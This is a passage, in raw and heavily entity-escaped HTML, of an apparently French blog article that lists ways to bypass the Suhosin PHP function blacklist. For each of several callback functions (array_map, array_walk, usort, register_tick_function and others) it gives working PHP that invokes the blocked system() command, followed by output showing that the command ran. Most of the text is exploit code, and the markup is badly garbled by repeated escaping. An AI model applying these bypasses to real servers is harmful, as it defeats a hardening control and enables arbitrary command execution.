sur une fonction.<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;ReflectionFunction (PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $function = new ReflectionFunction(&#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $function-&amp;amp;amp;amp;amp;amp;gt;invoke($cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nReflectionFunction (PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>iterator_apply (PHP5 &gt;= 5.1.0)<\/h3>\n<p><a title=\"iterator-apply\" href=\"http:\/\/php.net\/manual\/fr\/function.iterator-apply.php\" target=\"_blank\">Documentation de l&#8217;objet.<\/a><\/p>\n<blockquote>\n<p>iterator_apply\u00a0\u2014\u00a0Appelle une fonction pour tous les \u00e9l\u00e9ments d&#8217;un it\u00e9rateur<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;iterator_apply (PHP5 &amp;amp;amp;amp;amp;amp;gt;= 5.1.0):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n iterator_apply(new ArrayIterator(array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;)), &amp;amp;amp;amp;amp;amp;quot;system&amp;amp;amp;amp;amp;amp;quot;, array($cmd));&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><strong>R\u00e9sultats fonctionnel :<\/strong><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\niterator_apply (PHP5 &amp;amp;amp;amp;amp;amp;gt;= 5.1.0):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>register_tick_function (PHP4 &gt;= 4.0.3, PHP5)<\/h3>\n<p><a title=\"register-tick-function\" href=\"http:\/\/www.php.net\/manual\/fr\/function.register-tick-function.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>register_tick_function\u00a0\u2014\u00a0Enregistre une fonction ex\u00e9cut\u00e9e \u00e0 chaque tick<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;register_tick_function (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.3, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n declare(ticks=1);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n register_tick_function(&#8216;system&#8217;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n unregister_tick_function(&#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nregister_tick_function (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.3, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>array_map (PHP4 &gt;= 4.0.6, PHP5)<\/h3>\n<p><a title=\"array-map\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-map.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>array_map\u00a0\u2014\u00a0Applique une fonction sur les \u00e9l\u00e9ments d&#8217;un tableau<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;array_map (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.6, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_map(&#8216;system&#8217;, array($cmd));&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\narray_map (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.6, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>array_walk (PHP4, PHP5)<\/h3>\n<p><a title=\"array-walk\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-walk.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>array_walk\u00a0\u2014\u00a0Ex\u00e9cute une fonction sur chacun des \u00e9l\u00e9ments d&#8217;un tableau<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;array_walk (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $x = array($cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_walk($x, &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\narray_walk (PHP4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<p><strong>Note :<\/strong> le tableau des param\u00e8tres \u00e0 transmettre \u00e0 array_walk() doit \u00eatre d\u00e9clar\u00e9 au pr\u00e9alable ($x).<\/p>\n<h3>array_filter (PHP4 &gt;= 4.0.6, PHP5)<\/h3>\n<p><a title=\"array-filter\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-filter.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>array_filter\u00a0\u2014\u00a0Filtre les \u00e9l\u00e9ments d&#8217;un tableau gr\u00e2ce \u00e0 une fonction utilisateur<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;array_filter (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.6, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_filter(array($cmd), &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\narray_filter (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.6, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>usort (PHP4, PHP5)<\/h3>\n<p><a title=\"usort\" href=\"http:\/\/php.net\/manual\/fr\/function.usort.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>usort\u00a0\u2014\u00a0Trie un tableau en utilisant une fonction de comparaison<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;usort (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $x = array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n usort($x, &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br 